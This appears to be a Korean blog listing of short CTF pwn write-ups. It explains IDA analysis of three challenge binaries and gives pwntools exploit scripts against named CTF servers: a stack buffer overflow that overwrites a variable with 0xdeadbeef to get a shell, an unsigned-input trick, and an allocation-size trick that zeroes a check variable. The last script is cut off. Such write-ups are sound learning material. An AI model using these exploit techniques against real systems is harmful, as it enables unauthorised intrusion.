목록IDA (12)
ii4gsp
파일을 다운받아 주자. 파일을 IDA로 열어보면 v5가 0xdeadbeef면 쉘을 획득한다. s와 v5의 거리는 40byte이다. fgets()함수로 s에 45만큼 입력받으니 40byte를 채우고 0xdeadbeef를 입력해주면 된다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3000) payload = '' payload += '\x90' * (0x34 - 0xc) payload += p32(0xdeadbeef) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운로드 해주자. IDA로 열어보면 scanf()함수로 v4와 v5에 입력을받고 v4 - v5가 4919가 되어야 flag를 볼 수 있다. scanf()함수는 %u로 입력을 받는다. -4918을 입력하면 -(-4918)이 된다. v4에 1을 입력하고 v5에 -4918을 입력해주면 1 + 4918이 된다. from pwn import * r = remote("svc.pwnable.xyz", 30001) r.recvuntil(":") r.sendline("1 -4918") r.sendline("asd") r.interactive() 소스코드를 작성해주자.
파일을 다운로드 해주자. 다운로드한 파일을 IDA로 열어보면 v3가 0이라면 flag를 출력해준다. v3를 0x40000만큼 할당해주고 v3의 값에 1을 넣었다. 그리고 v3의 주소를 출력해주고 메세지의 길이를 입력받는다. scanf로 size에 메세지 길이를 입력하고 v5에 size만큼 할당한다. v5[size - 1] = 0을 보면 메세지의 마지막 원소를 0으로 만든다. 이부분을 이용해서 v3를 0으로 만들어주면 된다. v3의 주소를 출력해주니 주소에 +1한 값을 넣으면 size - 1부분에서 -1이 됨으로 v3의 시작주소를 가리킨다. 그리고 값이 0이 되고 if문을 통과해 flag를 볼 수 있다. from pwn import * r = remote("svc.pwnable.xyz", 30000) r...